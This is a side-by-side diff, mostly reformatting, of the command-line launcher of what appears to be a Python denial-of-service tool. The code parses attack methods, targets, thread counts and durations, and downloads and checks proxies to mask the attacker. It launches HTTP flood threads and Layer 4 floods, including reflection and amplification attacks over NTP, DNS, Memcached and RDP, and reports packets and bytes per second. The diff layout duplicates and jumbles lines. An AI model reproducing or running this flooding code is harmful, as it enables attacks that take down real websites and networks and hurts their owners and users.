", ".join(Methods.LAYER4_METHODS), (argv[0], argv[0], ", ".join(Methods.LAYER4_METHODS),
len(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS), ", ".join(Methods.LAYER7_METHODS),
", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS), ", ".join(ToolsConsole.METHODS),
len(Methods.LAYER7_METHODS), len(ToolsConsole.METHODS), ", ".join(["TOOLS", "HELP", "STOP"]),
", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS), 3, len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
", ".join(["TOOLS", "HELP", "STOP"]), 3, argv[0], randchoice([*Methods.LAYER7_METHODS]),
len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS), "https://example.com", randchoice([4, 5, 1, 0]),
argv[0], randint(850, 1000), randint(50, 100), randint(
randchoice([*Methods.LAYER7_METHODS]), 1000, 3600), argv[0], randchoice([*Methods.LAYER4_METHODS]),
"https://example.com", "8.8.8.8:80", randint(850, 1000), randint(1000, 3600)))
randchoice([4, 5, 1, 0]),
randint(850, 1000),
randint(50, 100),
randint(1000, 3600),
argv[0],
randchoice([*Methods.LAYER4_METHODS]),
"8.8.8.8:80",
randint(850, 1000),
randint(1000, 3600)
))
@staticmethod @staticmethod
def ts_srv(domain): def ts_srv(domain):
@ -1057,22 +1103,24 @@ class ToolsConsole:
Info = {} Info = {}
for rec in records: for rec in records:
try: try:
srv_records=dns.resolver.resolve(rec+domain, 'SRV') srv_records = dns.resolver.resolve(rec + domain, 'SRV')
for srv in srv_records: for srv in srv_records:
Info[rec] = str(srv.target).rstrip('.')+':'+str(srv.port) Info[rec] = str(srv.target).rstrip('.') + ':' + str(
srv.port)
except: except:
Info[rec] = 'Not found' Info[rec] = 'Not found'
return(Info) return (Info)
# noinspection PyUnreachableCode # noinspection PyUnreachableCode
@staticmethod @staticmethod
def info(domain): def info(domain):
with suppress(Exception), get("https://ipwhois.app/json/%s/" % domain) as s: with suppress(Exception), get("https://ipwhois.app/json/%s/" %
domain) as s:
return s.json() return s.json()
return {"success": False} return {"success": False}
if __name__ == '__main__': if __name__ == '__main__':
with open(__dir__ / "config.json") as f: with open(__dir__ / "config.json") as f:
con = load(f) con = load(f)
@ -1092,11 +1140,13 @@ if __name__ == '__main__':
target = None target = None
if method not in Methods.ALL_METHODS: if method not in Methods.ALL_METHODS:
exit("Method Not Found %s" % ", ".join(Methods.ALL_METHODS)) exit("Method Not Found %s" %
", ".join(Methods.ALL_METHODS))
if method in Methods.LAYER7_METHODS: if method in Methods.LAYER7_METHODS:
urlraw = argv[2].strip() urlraw = argv[2].strip()
if not urlraw.startswith("http"): urlraw = "http://" + urlraw if not urlraw.startswith("http"):
urlraw = "http://" + urlraw
url = URL(urlraw) url = URL(urlraw)
host = url.host host = url.host
try: try:
@ -1107,7 +1157,8 @@ if __name__ == '__main__':
rpc = int(argv[6]) rpc = int(argv[6])
timer = int(argv[7]) timer = int(argv[7])
proxy_ty = int(argv[3].strip()) proxy_ty = int(argv[3].strip())
proxy_li = Path(__dir__ / "files/proxies/" / argv[5].strip()) proxy_li = Path(__dir__ / "files/proxies/" /
argv[5].strip())
useragent_li = Path(__dir__ / "files/useragent.txt") useragent_li = Path(__dir__ / "files/useragent.txt")
referers_li = Path(__dir__ / "files/referers.txt") referers_li = Path(__dir__ / "files/referers.txt")
proxies: Any = set() proxies: Any = set()
@ -1115,29 +1166,48 @@ if __name__ == '__main__':
if len(argv) == 9: if len(argv) == 9:
logger.setLevel("DEBUG") logger.setLevel("DEBUG")
if not useragent_li.exists(): exit("The Useragent file doesn't exist ") if not useragent_li.exists():
if not referers_li.exists(): exit("The Referer file doesn't exist ") exit("The Useragent file doesn't exist ")
if not referers_li.exists():
exit("The Referer file doesn't exist ")
uagents = set(a.strip() for a in useragent_li.open("r+").readlines()) uagents = set(a.strip()
referers = set(a.strip() for a in referers_li.open("r+").readlines()) for a in useragent_li.open("r+").readlines())
referers = set(a.strip()
for a in referers_li.open("r+").readlines())
if not uagents: exit("Empty Useragent File ") if not uagents: exit("Empty Useragent File ")
if not referers: exit("Empty Referer File ") if not referers: exit("Empty Referer File ")
if proxy_ty not in {4, 5, 1, 0}: exit("Proxy Type Not Found [4, 5, 1, 0]") if proxy_ty not in {4, 5, 1, 0}:
if threads > 1000: logger.warning("thread is higher than 1000") exit("Proxy Type Not Found [4, 5, 1, 0]")
if proxy_ty not in {4, 5, 1, 0}: exit("Socks Type Not Found [4, 5, 1, 0]") if threads > 1000:
if threads > 1000: logger.warning("Thread is higher than 1000") logger.warning("thread is higher than 1000")
if rpc > 100: logger.warning("RPC (Request Pre Connection) is higher than 100") if proxy_ty not in {4, 5, 1, 0}:
exit("Socks Type Not Found [4, 5, 1, 0]")
if threads > 1000:
logger.warning("Thread is higher than 1000")
if rpc > 100:
logger.warning(
"RPC (Request Pre Connection) is higher than 100")
if not proxy_li.exists(): if not proxy_li.exists():
if rpc > 100: logger.warning("The file doesn't exist, creating files and downloading proxies.") if rpc > 100:
logger.warning(
"The file doesn't exist, creating files and downloading proxies."
)
proxy_li.parent.mkdir(parents=True, exist_ok=True) proxy_li.parent.mkdir(parents=True, exist_ok=True)
with proxy_li.open("w") as wr: with proxy_li.open("w") as wr:
Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty) Proxies: Set[
logger.info(f"{len(Proxies):,} Proxies are getting checked, this may take awhile!") Proxy] = ProxyManager.DownloadFromConfig(
Proxies = ProxyChecker.checkAll(Proxies, url.human_repr(), 1, threads) con, proxy_ty)
if not Proxies: exit( logger.info(
f"{len(Proxies):,} Proxies are getting checked, this may take awhile!"
)
Proxies = ProxyChecker.checkAll(
Proxies, url.human_repr(), 1, threads)
if not Proxies:
exit(
"Proxy Check failed, Your network may be the problem | The target may not be" "Proxy Check failed, Your network may be the problem | The target may not be"
" available.") " available.")
stringBuilder = "" stringBuilder = ""
@ -1147,17 +1217,21 @@ if __name__ == '__main__':
proxies = ProxyUtiles.readFromFile(proxy_li) proxies = ProxyUtiles.readFromFile(proxy_li)
if not proxies: if not proxies:
logger.info("Empty Proxy File, running flood witout proxy") logger.info(
"Empty Proxy File, running flood witout proxy")
proxies = None proxies = None
if proxies: if proxies:
logger.info(f"Proxy Count: {len(proxies):,}") logger.info(f"Proxy Count: {len(proxies):,}")
for _ in range(threads): for _ in range(threads):
HttpFlood(url, host, method, rpc, event, uagents, referers, proxies).start() HttpFlood(url, host, method, rpc, event, uagents,
referers, proxies).start()
if method in Methods.LAYER4_METHODS: if method in Methods.LAYER4_METHODS:
target = argv[2].strip() target = argv[2].strip()
if ":" in target and not target.split(":")[1].isnumeric(): exit("Invalid Port Number") if ":" in target and not target.split(":")[1].isnumeric():
port = 53 if ":" not in target else int(target.split(":")[1]) exit("Invalid Port Number")
port = 53 if ":" not in target else int(
target.split(":")[1])
threads = int(argv[3]) threads = int(argv[3])
timer = int(argv[4]) timer = int(argv[4])
ref = None ref = None
@ -1167,41 +1241,52 @@ if __name__ == '__main__':
else: else:
target = target.split(":")[0] target = target.split(":")[0]
proxy_ty = int(argv[6].strip()) proxy_ty = int(argv[6].strip())
proxy_li = Path(__dir__ / "files/proxies/" / argv[5].strip()) proxy_li = Path(__dir__ / "files/proxies/" /
argv[5].strip())
proxies = None proxies = None
if proxy_li.exists(): if proxy_li.exists():
proxies = ProxyUtiles.readIPPortFromFile(proxy_li) proxies = ProxyUtiles.readIPPortFromFile(proxy_li)
if not proxies: if not proxies:
logger.info("Empty Proxy File, Running layer 4 witout proxy") logger.info(
"Empty Proxy File, Running layer 4 witout proxy")
proxies = None proxies = None
if proxies: if proxies:
logger.info(f"Proxy Count: {len(proxies):,}") logger.info(f"Proxy Count: {len(proxies):,}")
if 65535 < port or port < 1: exit("Invalid Port [Min: 1 / Max: 65535] ") if 65535 < port or port < 1:
if not ProxyTools.Patterns.IP.match(target): exit("Invalid Ip Selected") exit("Invalid Port [Min: 1 / Max: 65535] ")
if not ProxyTools.Patterns.IP.match(target):
exit("Invalid Ip Selected")
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD", "SYN"} and \ if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD", "SYN"} and \
not ToolsConsole.checkRawSocket(): exit("Cannot Create Raw Socket ") not ToolsConsole.checkRawSocket():
exit("Cannot Create Raw Socket ")
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD"}: if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD"}:
if len(argv) >= 6: if len(argv) >= 6:
if len(argv) == 7: if len(argv) == 7:
logger.setLevel("DEBUG") logger.setLevel("DEBUG")
refl_li = Path(__dir__ / "files" / argv[5].strip()) refl_li = Path(__dir__ / "files" / argv[5].strip())
if not refl_li.exists(): exit("The Reflector file doesn't exist ") if not refl_li.exists():
ref = set(a.strip() for a in ProxyTools.Patterns.IP.findall(refl_li.open("r+").read())) exit("The Reflector file doesn't exist ")
ref = set(a.strip()
for a in ProxyTools.Patterns.IP.findall(
refl_li.open("r+").read()))
if not ref: exit("Empty Reflector File ") if not ref: exit("Empty Reflector File ")
else: else:
if len(argv) == 6: if len(argv) == 6:
logger.setLevel("DEBUG") logger.setLevel("DEBUG")
for _ in range(threads): for _ in range(threads):
Layer4((target, port), ref, method, event,proxies).start() Layer4((target, port), ref, method, event,
proxies).start()
logger.info("Attack Started to %s with %s method for %s seconds, threads: %d!" % logger.info(
(target or url.human_repr(), method, timer, threads)) "Attack Started to %s with %s method for %s seconds, threads: %d!"
% (target or url.human_repr(), method, timer, threads))
event.set() event.set()
ts = time() ts = time()
while time() < ts + timer: while time() < ts + timer:
logger.debug('PPS: %s, BPS: %s / %d%%' % (Tools.humanformat(int(requests_sent)), logger.debug('PPS: %s, BPS: %s / %d%%' %
(Tools.humanformat(int(requests_sent)),
Tools.humanbytes(int(bytes_sent)), Tools.humanbytes(int(bytes_sent)),
round((time() - ts) / timer * 100, 2))) round((time() - ts) / timer * 100, 2)))
requests_sent.set(0) requests_sent.set(0)